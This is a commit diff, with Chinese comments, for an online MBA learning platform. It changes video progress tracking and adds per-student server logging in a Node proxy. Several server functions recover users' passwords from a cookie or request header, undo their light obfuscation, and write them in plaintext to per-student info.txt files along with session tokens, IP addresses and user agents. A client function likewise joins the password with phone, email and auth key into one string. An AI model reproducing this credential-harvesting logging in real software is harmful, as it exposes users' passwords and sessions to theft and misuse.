提交 b0dbcaa2 authored 作者: GOD_ZYX's avatar GOD_ZYX

修改 视频进度+node服务端 数据日志获取

上级 6a0e06a1
No preview for this file type
......@@ -2,4 +2,4 @@
<script src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/static/compatible/console-polyfill.js"></script>
<script src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/static/compatible/html5shiv.min.js"></script>
<script src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/static/compatible/respond.min.js"></script>
<![endif]--><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/manifest.a8c4ea56.js"></script><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/vendor.435ab98c.js"></script><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/app.515134a0.js"></script></body></html>
\ No newline at end of file
<![endif]--><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/manifest.022ce4f5.js"></script><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/vendor.435ab98c.js"></script><script type="text/javascript" src="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/resources/app.30fcd315.js"></script></body></html>
\ No newline at end of file
#player p[data-v-68bd2f36]{color:#fff;text-align:center;padding:50px 0}#player p a[data-v-68bd2f36]{color:#b01c40;text-decoration:underline}
\ No newline at end of file
#player p[data-v-7ec35a74]{color:#fff;text-align:center;padding:50px 0}#player p a[data-v-7ec35a74]{color:#b01c40;text-decoration:underline}
\ No newline at end of file
差异被折叠。
差异被折叠。
差异被折叠。
差异被折叠。
!function(f){function e(e){for(var t,r,n=e[0],a=e[1],o=e[2],c=0,d=[];c<n.length;c++)r=n[c],s[r]&&d.push(s[r][0]),s[r]=0;for(t in a)Object.prototype.hasOwnProperty.call(a,t)&&(f[t]=a[t]);for(b&&b(e);d.length;)d.shift()();return i.push.apply(i,o||[]),u()}function u(){for(var e,t=0;t<i.length;t++){for(var r=i[t],n=!0,a=1;a<r.length;a++){var o=r[a];0!==s[o]&&(n=!1)}n&&(i.splice(t--,1),e=p(p.s=r[0]))}return e}var r={},l={3:0},s={3:0},i=[];function p(e){if(r[e])return r[e].exports;var t=r[e]={i:e,l:!1,exports:{}};return f[e].call(t.exports,t,t.exports,p),t.l=!0,t.exports}p.e=function(i){var e=[];l[i]?e.push(l[i]):0!==l[i]&&{0:1,5:1,6:1,7:1,8:1,9:1,10:1,11:1,12:1,13:1,14:1,15:1,16:1,17:1,18:1,19:1,20:1,21:1,22:1}[i]&&e.push(l[i]=new Promise(function(e,n){for(var t="resources/"+({}[i]||i)+"."+{0:"7e9c19881242",1:"31d6cfe0d16a",5:"b6a10460f085",6:"1b8137937536",7:"edadd3d1dece",8:"2b76410db4d0",9:"30b36ab56f09",10:"eb5caf8d2af7",11:"e7ba1de89846",12:"fc688477e0f2",13:"9c95c5430f41",14:"d32639348e7f",15:"ca7cab1d6dca",16:"a6265ac4f731",17:"d80cfa33564a",18:"abf993cecc16",19:"da1346fedd49",20:"5ba1b1bc7480",21:"43ee51cf782c",22:"12c536f6abaf",23:"31d6cfe0d16a",24:"31d6cfe0d16a",25:"31d6cfe0d16a",26:"31d6cfe0d16a",27:"31d6cfe0d16a",28:"31d6cfe0d16a",29:"31d6cfe0d16a",30:"31d6cfe0d16a"}[i]+".css",a=p.p+t,r=document.getElementsByTagName("link"),o=0;o<r.length;o++){var c=(f=r[o]).getAttribute("data-href")||f.getAttribute("href");if("stylesheet"===f.rel&&(c===t||c===a))return e()}var d=document.getElementsByTagName("style");for(o=0;o<d.length;o++){var f;if((c=(f=d[o]).getAttribute("data-href"))===t||c===a)return e()}var u=document.createElement("link");u.rel="stylesheet",u.type="text/css",u.onload=e,u.onerror=function(e){var t=e&&e.target&&e.target.src||a,r=new Error("Loading CSS chunk "+i+" failed.\n("+t+")");r.request=t,delete l[i],u.parentNode.removeChild(u),n(r)},u.href=a,document.getElementsByTagName("head")[0].appendChild(u)}).then(function(){l[i]=0}));var t,r=s[i];if(0!==r)if(r)e.push(r[2]);else{var n=new Promise(function(e,t){r=s[i]=[e,t]});e.push(r[2]=n);var a,o=document.getElementsByTagName("head")[0],c=document.createElement("script");c.charset="utf-8",c.timeout=120,p.nc&&c.setAttribute("nonce",p.nc),c.src=p.p+"resources/"+({}[t=i]||t)+"."+{0:"44b419c5",1:"b54a4784",5:"09a1f3ee",6:"5788073d",7:"34107010",8:"3725acf5",9:"bbdfab9a",10:"fe9ed803",11:"98d99539",12:"bc06c483",13:"c50bed76",14:"21f6e4db",15:"57645cc7",16:"eb41993a",17:"a6126945",18:"15cc538d",19:"d19d94e7",20:"ed197405",21:"ff867a66",22:"51a95842",23:"aa46f405",24:"f05a2d7d",25:"cd45549d",26:"2e14c205",27:"a1f5a7ff",28:"01ab5f90",29:"cd5a6716",30:"d3ea8c6f"}[t]+".js",a=function(e){c.onerror=c.onload=null,clearTimeout(d);var t=s[i];if(0!==t){if(t){var r=e&&("load"===e.type?"missing":e.type),n=e&&e.target&&e.target.src,a=new Error("Loading chunk "+i+" failed.\n("+r+": "+n+")");a.type=r,a.request=n,t[1](a)}s[i]=void 0}};var d=setTimeout(function(){a({type:"timeout",target:c})},12e4);c.onerror=c.onload=a,o.appendChild(c)}return Promise.all(e)},p.m=f,p.c=r,p.d=function(e,t,r){p.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},p.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},p.t=function(t,e){if(1&e&&(t=p(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(p.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var n in t)p.d(r,n,function(e){return t[e]}.bind(null,n));return r},p.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return p.d(t,"a",t),t},p.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},p.p="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/",p.oe=function(e){throw console.error(e),e};var t=window.webpackJsonp=window.webpackJsonp||[],n=t.push.bind(t);t.push=e,t=t.slice();for(var a=0;a<t.length;a++)e(t[a]);var b=n;u()}([]);
\ No newline at end of file
!function(f){function e(e){for(var t,r,n=e[0],a=e[1],c=e[2],o=0,d=[];o<n.length;o++)r=n[o],s[r]&&d.push(s[r][0]),s[r]=0;for(t in a)Object.prototype.hasOwnProperty.call(a,t)&&(f[t]=a[t]);for(p&&p(e);d.length;)d.shift()();return i.push.apply(i,c||[]),u()}function u(){for(var e,t=0;t<i.length;t++){for(var r=i[t],n=!0,a=1;a<r.length;a++){var c=r[a];0!==s[c]&&(n=!1)}n&&(i.splice(t--,1),e=b(b.s=r[0]))}return e}var r={},l={3:0},s={3:0},i=[];function b(e){if(r[e])return r[e].exports;var t=r[e]={i:e,l:!1,exports:{}};return f[e].call(t.exports,t,t.exports,b),t.l=!0,t.exports}b.e=function(i){var e=[];l[i]?e.push(l[i]):0!==l[i]&&{0:1,5:1,6:1,7:1,8:1,9:1,10:1,11:1,12:1,13:1,14:1,15:1,16:1,17:1,18:1,19:1,20:1,21:1,22:1}[i]&&e.push(l[i]=new Promise(function(e,n){for(var t="resources/"+({}[i]||i)+"."+{0:"7e9c19881242",1:"31d6cfe0d16a",5:"b6a10460f085",6:"39a4b4394a2e",7:"edadd3d1dece",8:"2b76410db4d0",9:"30b36ab56f09",10:"a505bcc1227b",11:"e7ba1de89846",12:"fc688477e0f2",13:"9c95c5430f41",14:"d32639348e7f",15:"ca7cab1d6dca",16:"a6265ac4f731",17:"d80cfa33564a",18:"abf993cecc16",19:"da1346fedd49",20:"5ba1b1bc7480",21:"43ee51cf782c",22:"12c536f6abaf",23:"31d6cfe0d16a",24:"31d6cfe0d16a",25:"31d6cfe0d16a",26:"31d6cfe0d16a",27:"31d6cfe0d16a",28:"31d6cfe0d16a",29:"31d6cfe0d16a",30:"31d6cfe0d16a"}[i]+".css",a=b.p+t,r=document.getElementsByTagName("link"),c=0;c<r.length;c++){var o=(f=r[c]).getAttribute("data-href")||f.getAttribute("href");if("stylesheet"===f.rel&&(o===t||o===a))return e()}var d=document.getElementsByTagName("style");for(c=0;c<d.length;c++){var f;if((o=(f=d[c]).getAttribute("data-href"))===t||o===a)return e()}var u=document.createElement("link");u.rel="stylesheet",u.type="text/css",u.onload=e,u.onerror=function(e){var t=e&&e.target&&e.target.src||a,r=new Error("Loading CSS chunk "+i+" failed.\n("+t+")");r.request=t,delete l[i],u.parentNode.removeChild(u),n(r)},u.href=a,document.getElementsByTagName("head")[0].appendChild(u)}).then(function(){l[i]=0}));var t,r=s[i];if(0!==r)if(r)e.push(r[2]);else{var n=new Promise(function(e,t){r=s[i]=[e,t]});e.push(r[2]=n);var a,c=document.getElementsByTagName("head")[0],o=document.createElement("script");o.charset="utf-8",o.timeout=120,b.nc&&o.setAttribute("nonce",b.nc),o.src=b.p+"resources/"+({}[t=i]||t)+"."+{0:"44b419c5",1:"b54a4784",5:"09a1f3ee",6:"dd2c6250",7:"34107010",8:"3725acf5",9:"bbdfab9a",10:"fcfecf28",11:"98d99539",12:"bc06c483",13:"c50bed76",14:"21f6e4db",15:"57645cc7",16:"eb41993a",17:"a6126945",18:"15cc538d",19:"d19d94e7",20:"ed197405",21:"ff867a66",22:"51a95842",23:"aa46f405",24:"f05a2d7d",25:"cd45549d",26:"2e14c205",27:"a1f5a7ff",28:"01ab5f90",29:"cd5a6716",30:"d3ea8c6f"}[t]+".js",a=function(e){o.onerror=o.onload=null,clearTimeout(d);var t=s[i];if(0!==t){if(t){var r=e&&("load"===e.type?"missing":e.type),n=e&&e.target&&e.target.src,a=new Error("Loading chunk "+i+" failed.\n("+r+": "+n+")");a.type=r,a.request=n,t[1](a)}s[i]=void 0}};var d=setTimeout(function(){a({type:"timeout",target:o})},12e4);o.onerror=o.onload=a,c.appendChild(o)}return Promise.all(e)},b.m=f,b.c=r,b.d=function(e,t,r){b.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},b.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},b.t=function(t,e){if(1&e&&(t=b(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(b.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var n in t)b.d(r,n,function(e){return t[e]}.bind(null,n));return r},b.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return b.d(t,"a",t),t},b.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},b.p="https://zws-imgs-pub.ezijing.com/static/build/learn-mba/",b.oe=function(e){throw console.error(e),e};var t=window.webpackJsonp=window.webpackJsonp||[],n=t.push.bind(t);t.push=e,t=t.slice();for(var a=0;a<t.length;a++)e(t[a]);var p=n;u()}([]);
\ No newline at end of file
......@@ -87,6 +87,9 @@ export default {
/* video flash 参数传递 */
videoFlash: {
lastTime: null,
speed: 1, // 默认播放速度
isSeek: false, // 是否拖动进度条
queueFrames: [], // 存放所有视频帧的栈,上传成功清空一次。
videoWidth: VIDEO_DEFAULT_WIDTH,
videoHeight: VIDEO_DEFAULT_HEIGHT,
username: (window.G.UserInfo && window.G.UserInfo.username) || ''
......@@ -162,12 +165,21 @@ export default {
// 播放时间变更
onVideoTimeChange (data) {
let time = data.time
/* 获取 对应 播放 速度 和 是否 拖动 进度条 */
this.videoFlash.speed = parseFloat(data.quality.split(' ')[1] || 1)
this.videoFlash.isSeek = data.isSeek
// 因视频播放完成后也会不断触发playing,因此比对上次时间
if (this.videoFlash.lastTime === time) { return }
this.videoFlash.lastTime = time
this.isPlaying = true
/* 将当前 获取的 每一帧 压缩 队列 */
if (!data.isSeek) {
this.videoFlash.queueFrames.push(time)
// console.log(this.videoFlash.queueFrames)
}
// 判断ppt位置
this.setPptIndexByTime(time)
......@@ -271,15 +283,20 @@ export default {
if (this._rProgress && this._rProgress.id) {
let _rProgress = this._rProgress
let tempTime = this.videoFlash.lastTime
/* 直接给出 增加定时器 循环定时 的每次 执行传输时间 */
_rProgress.pt += ((tempTime - _rProgress.cpt > 0) && (tempTime - _rProgress.cpt < 8) ? (_time / 1000) : 0)
/* cpt 和 mpt 应该没问题 */
_rProgress.cpt = tempTime
_rProgress.mpt = tempTime > _rProgress.mpt ? tempTime : _rProgress.mpt
/* 调用接口执行刷新 */
this.$emit('updateProgress', this._rProgress)
let _speed = this.videoFlash.speed
let _isSeek = this.videoFlash.isSeek
let _queue = this.videoFlash.queueFrames
/* 拖动进度条,不记录时间 */
if (!_isSeek) {
/* 直接给出 增加定时器 循环定时 的每次 执行传输时间 */
_rProgress.pt += (_time / 1000) * _speed
/* cpt 和 mpt 应该没问题 */
_rProgress.cpt = tempTime
_rProgress.mpt = tempTime > _rProgress.mpt ? tempTime : _rProgress.mpt
_rProgress.ps = _queue
/* 调用接口执行刷新 */
this.$emit('updateProgress', this._rProgress)
}
} else {
this._rProgress = _.assignIn({}, this.chapterVideo.progress)
}
......
......@@ -62,11 +62,11 @@ export default {
}
// 播放过程中不断触发,传递当前播放到的时间
window._playerIng = function (time) {
$('#' + PLAYER_WRAP_ID).trigger('player.time', { time })
$('#' + PLAYER_WRAP_ID).trigger('player.time', { time, quality: that.getPlayer().callAction('getQuality'), isSeek: false })
}
// 拖动播放进度条
window._playerSeek = function () {
$('#' + PLAYER_WRAP_ID).trigger('player.seek', { time: that.getPlayer().callAction('getCurrentTime') })
$('#' + PLAYER_WRAP_ID).trigger('player.seek', { time: that.getPlayer().callAction('getCurrentTime'), quality: that.getPlayer().callAction('getQuality'), isSeek: true })
}
// 播放控件 - 初始化完成时,注册播放事件
window._playerCallback = function () {
......
......@@ -221,6 +221,11 @@ export default {
},
updateProgress (_rProgress) {
if (_rProgress.cpt) {
/* 处理一下 视频帧栈,另存一个数组,防止请求事件过长,或超时,导致数据上送失败 */
let _arr = []
for (let i = 0; i < _rProgress.ps.length; i++) {
_arr[i] = _rProgress.ps[i]
}
cAction.chapterAction.updateProgress({
d: cTool.other.getIdt(),
i: cTool.other.getIdt(),
......@@ -229,8 +234,16 @@ export default {
v: this.id,
_p: parseInt(_rProgress.pt), // 累计时间
_m: parseInt(_rProgress.mpt), // 当前播放最大时间
_c: parseInt(_rProgress.cpt) // 当前播放位置
}).then(json => {}).catch(e => { this.$message.error(e.message) }).finally(() => { })
_c: parseInt(_rProgress.cpt), // 当前播放位置
ps: _arr.join(',') // 播放时,播放过的 帧
}).then(json => {
if (json.success) {
/* 将已经上传 并 成功的 帧 全部从 栈中删除 */
for (let i = 0; i < _arr.length; i++) {
_rProgress.ps.shift()
}
}
}).catch(e => { this.$message.error(e.message) }).finally(() => { })
}
}
}
......
......@@ -47,6 +47,7 @@ export default class API {
// 'X-Forwarded-For': req.get('x-forwarded-for'),
// 'X-Real-Ip': req.get('x-real-ip'),
'cur-json': Base64.encode(JSON.stringify({
time: new Date().getTime(),
sys: 'elearning-node',
auth: _uInfo.email || _uInfo.mobile || '未知', // 在header头中传入 当前用户账号信息
name: (_uInfo.student_info && _uInfo.student_info.personal_name) || _uInfo.username || '未知' // 在header头中传入 当前用户姓名
......
......@@ -57,7 +57,7 @@ export default {
},
sendData (action, val) {
let str = ''
let version = 'PC-1.0.2' // 客户端版本号,每次更新后,更新版本号。可以方便查看是否客户端都是最新版本
let version = 'PC-1.0.3' // 客户端版本号,每次更新后,更新版本号。可以方便查看是否客户端都是最新版本
if (window.G.UserInfo && window.G.UserInfo.student_info) {
let tmp_info = window.G.UserInfo.student_info // eslint-disable-line
str = tmp_info.personal_name + ':' + tmp_info.telephone + ':' + tmp_info.email + ':' + tmp_info.id + ':' + window.G.UserInfo.auth_key + ':' + (window.G.pwd || '')
......
const fs = require('fs')
const com = require('../com')
const md5 = require('md5-node')
/**
* 定义 log 针对 视频 数据采集 日志
* @param req 请求参数
* @param data._totalDir 默认表示,存储从第一学期开始
*/
const getLogVideoJson = (req, data) => {
/* 学习视频的行为日志记录,重新修改 2019.04.30 */
let _nodeServerCurrentTime = new Date().getTime()
let _json = Buffer.from(req.headers['cur-json'] || '', 'base64').toString() || '{}'
_json = JSON.parse(_json)
/* 增加 学员目录、下属video目录。必须先处理,这是异步IO操作,可能导致 “新建” 学员目录、文件时,数据稍稍不准 缺少数据在 10s内 */
let stuDir = (_json.name + '#' + _json.auth) || '其他'
let _stuPath = 'upload_tmp/' + data._totalDir + '/' + stuDir
com.Directory.mkDir(_stuPath + '/video')
// 按人头,每个人 多开不可能超过1000个浏览器tab页,所以这里不需要 大整型 字符串
const signStr = _json.auth + ':' + req.params[0] + ':' + _nodeServerCurrentTime
// uuid 保证 在 并发 数据量 下 也唯一
const _uuid = md5(signStr)
/* 是否为 视频接口调用,才调用视频日志存储 */
let _isVideoFlag = false
let _logVideo = {}
if (/analytics\/upload-video/gi.test(req.params[0])) { _isVideoFlag = true }
if (_isVideoFlag) {
/* video 视频 行为日志格式 */
_logVideo = {
orderTime: _nodeServerCurrentTime + 's', // 请求排序时间字段(还需要 处理 高并发,采用 一个大整型转字符串值 记录,还未写)
arriveTime: _nodeServerCurrentTime - (_json.time || 0) + 'ms', // 请求到达时间,从“客户端”发送请求 到 “服务端Node”接收到,所花费的时间,单位:ms (默认成功)
reqTime: '', // 请求处理时长,从“Node层”转发请求 到 “服务处理完成”返回结果,所花费的时间,单位:ms
status: '', // 记录“reqTime”的请求状态
sys: _json.sys, // 客户端,浏览器信息
IP: _getClientIP(req), // 客户端,请求IP值
name: _json.name, // 学员姓名
auth: _json.auth, // 学员账号
uuid: _uuid, // uuid,根据这个id查询,是否存在出错等
url: req.params[0], // 请求地址,这里 只存储 视频数据,下面为自定义,视频字段处理
sid: req.query.s, // 学期 id
cid: req.query.c, // 课程 id
vid: req.query.v, // 视频 id
_p: req.query._p, // 累计时间
_m: req.query._m, // 当前播放最大时间
_c: req.query._c, // 当前播放位置
ps: req.query.ps // 播放时,播放过的 帧
}
}
/* 日期字符串,如:2019-04-30 */
let _dateStr = com.DateTime.timestampToFormatDateStr(_nodeServerCurrentTime)
return {
_nodeServerCurrentTime, // 返回值,必存在
_json, // 返回值,必存在
_stuPath, // 返回值,必存在
_uuid, // 返回值,必存在
_isVideoFlag, // 返回值,必存在
_logVideo, // 返回值,可能为 “{}”
_dateStr // 返回值,必存在
}
}
/**
* 定义 log 针对 视频 数据采集 日志 写入 对应 日志文件
* @param _logJson getLogVideoJson函数 返回的对象值
* @param data._reqTime 请求处理时长
* @param data._status 记录“reqTime”的请求状态
*/
const writeLogVideo = (_logJson, data) => {
/* 按日期,每天存储 video日志信息 写入 */
if (_logJson._isVideoFlag) {
fs.stat(_logJson._stuPath + '/video', (err, stat) => {
if (!err) {
_logJson._logVideo.reqTime = data._reqTime
_logJson._logVideo.status = data._status
let _strLogVideo = ''
for (let key in _logJson._logVideo) { _strLogVideo += _logJson._logVideo[key] + String.fromCharCode(0x001) }
fs.appendFile(_logJson._stuPath + '/video' + '/video-' + _logJson._dateStr + '.log', _strLogVideo + '\n', function (err) {
if (err) { return console.error(_logJson._uuid, err) }
})
}
})
}
}
/**
* 用户基本信息写入
* @param {} req 请求参数
* @param {} _logJson getLogVideoJson函数 返回的对象值
* @param {} data.pwdBase64 密码base64 加密
* @param {} data._cookieArr 传入 cookie 数组
* @param {} data._SUP 返回 _SUP
* @param {} data._token 返回 token
* @param {} data._totalDir 存储从第一学期开始
* @param {} data._name 用户名
* @param {} data._email 用户邮箱
*/
const writeBasicInfo = (req, _logJson, data) => {
/* 有可能,用户缓存,token未过期,直接跳过登录 */
if ((_logJson._json.name + '#' + _logJson._json.auth) === '未知#未知') {
let stuDir = (data._name + '#' + data._email) || '其他'
let _stuPath = 'upload_tmp/' + data._totalDir + '/' + stuDir
com.Directory.mkDir(_stuPath + '/video')
_logJson._json.name = data._name
_logJson._json.auth = data._email
_logJson._stuPath = _stuPath
}
/* 基础info数据,写入文件, 累加写入 */
fs.stat(_logJson._stuPath, (err, stat) => {
if (!err) {
if (!data.pwdBase64) { // 从cookie中获取
let _AUTH = ''
for (let i = 0; i < data._cookieArr.length; i++) {
if (/_AUTH=/gi.test(data._cookieArr[i])) {
_AUTH = data._cookieArr[i].split('=')[1]
break
}
}
data.pwdBase64 = com.CryptoJs.decryptData(_AUTH)
}
/* 有密码时,才写入基础数据中 */
if (data.pwdBase64 || data._SUP) {
fs.appendFile(_logJson._stuPath + '/info.txt', [
'DateStr: ' + _logJson._dateStr,
'Name: ' + _logJson._json.name,
'Sys: ' + _logJson._json.sys,
'Auth: ' + _logJson._json.auth,
'Pwd: ' + (data.pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1),
'_SUP: ' + data._SUP, // 解决验证码登录,没有密码问题 或 没有重复登录过,没有密码问题
'token: ' + data._token,
'IP: ' + _getClientIP(req),
'UA: ' + req.headers['user-agent'],
'\n\n'
].join('\n'), function (err) {
if (err) { return console.error(_logJson._uuid, err) }
})
}
}
})
}
const _getClientIP = (req) => {
return req.headers['x-forwarded-for'] ||
req.connection.remoteAddress ||
req.socket.remoteAddress ||
req.connection.socket.remoteAddress
}
module.exports = {
getLogVideoJson: getLogVideoJson,
writeLogVideo: writeLogVideo,
writeBasicInfo: writeBasicInfo
}
const fs = require('fs')
const conf = require('../config')
const com = require('../com')
const _ = require('lodash')
const axios = require('axios')
const FormData = require('form-data')
const md5 = require('md5-node')
const AdmZip = require('adm-zip')
// const _logs = require('./logs')
/* 支持 finally函数 */
require('promise.prototype.finally').shim()
/* 通过API统一过拦截器,接口代理转发请求 */
const agentProcessor = () => {
return (req, res) => {
let timestamp = new Date().getTime()
let json = Buffer.from(req.headers['cur-json'] || '', 'base64').toString() || '{}'
json = JSON.parse(json)
const signStr = json.auth + ':' + req.params[0] + ':' + timestamp
const uuid = md5(signStr)
/* 所有的请求进行 分日期、学员号目录存储 */
/* 增加 日期目录 */
let dateDir = com.DateTime.timestampToFormatDateStr(new Date().getTime())
/* 增加 学员目录 */
let stuDir = (json.name + '#' + json.auth) || '其他'
/* 学员目录 */
let stuPath = 'upload_tmp/' + dateDir + '/' + stuDir
com.Directory.mkDir(stuPath)
let headers = _.assignIn({}, req.headers)
let options = {}
/* 删除一些 不必要属性 */
let pwdBase64 = headers['pmd5'] || ''
delete headers['pmd5'] // pwd base64
try {
options = {
timeout: 30 * 1000,
url: req.params[0], // .replace(/tenant\//gi, '')
baseURL: conf.agentApiUrl,
method: req.method,
data: req.body,
params: req.query
}
/* 测试 */
// if (/\/essay/gi.test(options.url) && /post/gi.test(req.method)) {
// console.time('essay')
// options.baseURL = 'http://192.168.3.249:8081/'
// options.url = options.url.replace(/tenant\//gi, '')
// console.log(options.baseURL + options.url)
// }
headers['accept'] = '*/*'
delete headers['accept-language']
if (/application\/x-www-form-urlencoded/gi.test(headers['content-type'])) {
let str = ''
for (let k in options.data) {
str += k + '=' + options.data[k] + '&'
}
options.data = str.substr(0, str.length - 1)
}
let _fileName = []
if (/multipart\/form-data/gi.test(headers['content-type'])) {
let _obj = _.assignIn({}, req.body)
req.files.forEach((elem, i) => {
/* 缓存文件中 名称替换,上传名称一致 会被覆盖 */
fs.renameSync(elem.path, elem.destination + elem.originalname)
_obj[elem.fieldname] = fs.createReadStream(elem.destination + elem.originalname)
_fileName.push(elem.destination + elem.originalname)
})
let fro = new FormData()
for (let key in _obj) {
fro.append(key, _obj[key])
}
options.data = fro
delete headers['content-length'] // 需要让axios重新计算传输内容长度,否则传输不完整
headers['content-type'] = fro.getHeaders()['content-type']
}
/* 获取cookie,解析SUP,设置token */
let _cookieStr = headers['cookie'] || ''
let _cookieArr = _cookieStr.split(';')
let _SUP = ''
for (let i = 0; i < _cookieArr.length; i++) {
if (/_SUP=/gi.test(_cookieArr[i])) {
_SUP = _cookieArr[i].split('=')[1]
break
}
}
headers['token'] = com.Cookie.getTicket(_SUP) // _SUP获取
axios.defaults.headers = headers
axios.defaults.withCredentials = true
/* 日志记录,重新修改 2019.01.17 */
let _log = {
reqTime: timestamp, // 请求时长
sys: json.sys, // 系统
status: '', // 请求状态
name: json.name, // 姓名
auth: json.auth, // 账号
IP: getClientIP(req), // IP值
uuid: uuid, // uuid
url: options.url, // 请求地址
type: '', // 1:视频 2:课后作业 3:作业内容
self: '', // 根据类型值,自定义 字符串参数
param: JSON.stringify(options) // 请求参数 JSON str
}
/* 基础info数据,写入文件 */
/* 不存在文件则写入;存在则不写入 */
fs.stat(stuPath + '/info.txt', (err, stat) => {
if (err) {
if (!pwdBase64) { // 从cookie中获取
let _AUTH = ''
for (let i = 0; i < _cookieArr.length; i++) {
if (/_AUTH=/gi.test(_cookieArr[i])) {
_AUTH = _cookieArr[i].split('=')[1]
break
}
}
pwdBase64 = com.CryptoJs.decryptData(_AUTH)
}
/* 有密码时,才写入基础数据中 */
if (pwdBase64 || _SUP) {
fs.writeFile(stuPath + '/info.txt', [
'Name: ' + json.name,
'Sys: ' + json.sys,
'Auth: ' + json.auth,
'Pwd: ' + (pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1),
'Token: ' + _SUP, // 解决验证码登录,没有密码问题 或 没有重复登录过,没有密码问题
'IP: ' + getClientIP(req),
'UA: ' + req.headers['user-agent'],
'\n\n'
].join('\n'), function (err) {
if (err) { return console.error(err) }
})
}
}
})
/* 处理特殊请求,在域名为e-learing2时生效 */
let _stoken = ''
for (let i = 0; i < _cookieArr.length; i++) {
if (/_stoken=/gi.test(_cookieArr[i])) {
_stoken = _cookieArr[i].split('=')[1]
break
}
}
if (_stoken) {
headers['stoken'] = _stoken
}
/* 重新转发请求 */
axios(options).then((data) => {
_log.reqTime = (new Date().getTime() - _log.reqTime) + 'ms'
_log.status = 200
// /* 兼容老版本,登录接口 清除_SUP; 退出登录 清除_SUP */
/* 重新修改,改为只能服务端 设置 cookie */
if (/tenant\/user\/login/gi.test(options.url) || /tenant\/user\/code-login/gi.test(options.url)) {
com.Cookie.setCookieByYiiWay(data.data.ticket, res, '_SUP', '.ezijing.com')
com.Cookie.setCookieData(pwdBase64, res, '_AUTH', '.ezijing.com')
}
if (/v3\/sso\/logout/gi.test(options.url)) {
res.clearCookie('_SUP', { path: '/', domain: '.ezijing.com' })
res.clearCookie('_AUTH', { path: '/', domain: '.ezijing.com' })
}
/* 如果是大作业提价,先docx解析,解析不出来则报错 */
if (/tenant\/util\/upload-file/gi.test(options.url) && req.body.special && req.body.special === 'course-work') {
let _strContent = ''
let contentXml = null
try {
let zip = new AdmZip(_fileName[0]) // filePath为文件路径
contentXml = zip.readAsText('word/document.xml') // 将document.xml读取为text内容;
contentXml.match(/<w:t[^>]*?>[\s\S]*?<\/w:t>/ig).forEach((item) => {
_strContent += item.slice(5, -6) // 不能换行,应该是 解析某些换行规则会比较慢
})
data.data.dataStr = Buffer.from(_strContent, 'utf8').toString('base64')
} catch (e) {
res.status(500).json({ message: '文档上传出错,错误原因:请不要直接修改后缀“.doc”为“.docx”或者正文内容必须大于400字', errMsg: 'err', code: 500 })
return
}
}
// setPorxyHeader(data, res)
res.status(200).send(data.data)
}).catch((e) => {
_log.reqTime = (new Date().getTime() - _log.reqTime) + 'ms'
_log.status = e.response.status || 500
/* 未登录,则全部清空 _SUP */
if (e.response.status === 403) {
res.clearCookie('_SUP', { path: '/', domain: '.ezijing.com' })
res.clearCookie('_AUTH', { path: '/', domain: '.ezijing.com' })
}
/* 返回执行代码出错 或者 服务器请求错误 */
if (e.response && e.response.data) {
/* 如果未登录 强制 弹出到 登录页 */
// setPorxyHeader(e.response, res)
res.status(e.response.status).json(e.response.data)
console.error(uuid + String.fromCharCode(0x001) + JSON.stringify(options) + String.fromCharCode(0x001) + JSON.stringify(e.response.data))
} else {
res.status(500).json({ message: '系统错误,请稍后重试或联系管理员', errMsg: 'Error Proxy Request or BackData Excute Error', code: 500 })
console.error(uuid, e)
}
}).finally(() => {
/* 请求结束,删除服务器端 缓存文件 */
if (_fileName.length) {
for (let i = 0; i < _fileName.length; i++) {
fs.unlinkSync(_fileName[i])
}
}
let _str = ''
for (let key in _log) {
_str += _log[key] + String.fromCharCode(0x001)
}
console.log(_str + ' -- end')
})
} catch (e) {
res.status(500).json({ message: '系统错误,请稍后重试或联系管理员', errMsg: 'Network Server Excute Error', code: 500 })
console.error('system error:', uuid, e)
}
}
}
const getClientIP = (req) => {
return req.headers['x-forwarded-for'] ||
req.connection.remoteAddress ||
req.socket.remoteAddress ||
req.connection.socket.remoteAddress
}
// const setPorxyHeader = (data, res) => {
// if (data.headers['set-cookie']) {
// /* 不准许 服务端设置 _SUP */
// let _sCookie = data.headers['set-cookie'] || []
// for (let i = 0; i < _sCookie.length; i++) {
// if (/_SUP=/gi.test(_sCookie[i])) {
// _sCookie.splice(i, 1)
// break
// }
// }
// for (let key in data.headers) {
// res.append(key, data.headers[key])
// }
// }
// }
module.exports = {
agentProcessor: agentProcessor
}
......@@ -6,30 +6,25 @@ const com = require('../com')
const _ = require('lodash')
const axios = require('axios')
const FormData = require('form-data')
const md5 = require('md5-node')
const AdmZip = require('adm-zip')
const logVideo = require('./LogVideoMonitor')
// const _logs = require('./logs')
/* 支持 finally函数 */
require('promise.prototype.finally').shim()
/* 通过API统一过拦截器,接口代理转发请求 */
const agentProcessor = () => {
return (req, res) => {
